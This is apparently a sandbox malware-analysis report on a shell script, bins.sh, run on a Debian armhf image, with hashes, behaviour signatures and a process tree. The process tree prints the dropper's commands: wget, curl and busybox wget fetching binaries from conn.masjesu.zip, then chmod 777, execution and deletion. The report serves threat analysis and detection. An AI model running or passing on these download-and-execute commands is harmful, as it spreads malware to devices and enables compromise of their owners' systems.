Analysis

  • max time kernel
    149s
  • max time network
    34s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 23:52

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b30009d4f929515b1d4d21e5b8480729

  • SHA1

    02ef65fbcdd9b783b6fb4d7adc4ed65eecf2ea9a

  • SHA256

    7036896d4996457f19dc4b5cc17feba30d708f4ff114bcdbafd7c23db81b5c78

  • SHA512

    d4249b37b5db462a0a9e968183a9c5ed4697313cf9e69d590e50f50046f9866f6653341c165ce843c182ff8ce93f4972025a85b7d313c4ff9a41c5ffee596dcc

  • SSDEEP

    192:PKmHYgEwV7Gd+rFFozvR+q6n8wXuq6n8wl0FFozvpKmHYgqVD:PKmHYgEwV7Gd+8c0JKmHYgqVD

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:642
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:644
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • System Network Configuration Discovery
          PID:649
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:655
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • System Network Configuration Discovery
          PID:673
        • /bin/chmod
          chmod 777 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • File and Directory Permissions Modification
          PID:674
        • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          ./0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Executes dropped EXE
          PID:675
        • /bin/rm
          rm 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
            PID:677
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • System Network Configuration Discovery
            PID:678
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:681

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g

          Filesize

          122KB

          MD5

          cd3d4b9c643e5b473fb4d88ed05f0716

          SHA1

          64ee7a97418583d759eaea8000890cc3bae1b5f4

          SHA256

          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

          SHA512

          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52